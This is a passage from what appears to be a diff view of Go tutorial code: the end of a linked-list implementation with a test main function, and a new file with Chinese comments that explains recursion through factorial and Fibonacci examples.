} else { |
|||
for i := 0; i < index; i++ { |
|||
point = point.Nest |
|||
} |
|||
return point.Data |
|||
} |
|||
} |
|||
|
|||
//遍历 头结点
|
|||
func Traverse(head *LinkNode) { |
|||
point := head.Nest |
|||
for point.Nest != nil { |
|||
fmt.Println(point.Data) |
|||
point = point.Nest |
|||
} |
|||
fmt.Println("Traverse OK!") |
|||
} |
|||
|
|||
//主函数测试
|
|||
func main() { |
|||
var head LinkNode = LinkNode{Data: 0, Nest: nil} |
|||
head.Data = 0 |
|||
var nodeArray []Element |
|||
for i := 0; i < 10; i++ { |
|||
nodeArray = append(nodeArray, Element(i+1+i*100)) |
|||
Add(&head, nodeArray[i]) |
|||
|
|||
} |
|||
|
|||
Delete(&head, 3) |
|||
Search(&head, 2032) |
|||
Insert(&head, 23, 10010) |
|||
Traverse(&head) |
|||
fmt.Println("data is", GetData(&head, 6)) |
|||
fmt.Println("length:", GetLength(&head)) |
|||
os.Exit(0) |
|||
} |
@ -0,0 +1,34 @@ |
|||
package main |
|||
|
|||
/** |
|||
递归,就是在运行的过程中调用自己。 |
|||
|
|||
Go 语言支持递归。但我们在使用递归时,开发者需要设置退出条件,否则递归将陷入无限循环中。 |
|||
|
|||
递归函数对于解决数学上的问题是非常有用的,就像计算阶乘,生成斐波那契数列等。 |
|||
*/ |
|||
|
|||
import "fmt" |
|||
|
|||
func Factorial(n uint64) uint64 { |
|||
if n > 0 { |
|||
return n * Factorial(n-1) |
|||
} |
|||
return 1 |
|||
} |
|||
|
|||
func fibonacci(n int) int { |
|||
if n < 2 { |
|||
return n |
|||
} |
|||
return fibonacci(n-2) + fibonacci(n-1) |
|||
} |
|||
|
|||
func main() { |
|||
i := 15 |
|||
fmt.Printf("%d 的阶乘是 %d\n", i, Factorial(uint64(i))) |
|||
|
|||
for i = 0; i < 10; i++ { |
|||
fmt.Printf("%d\t", fibonacci(i)) |
|||
} |
|||
} |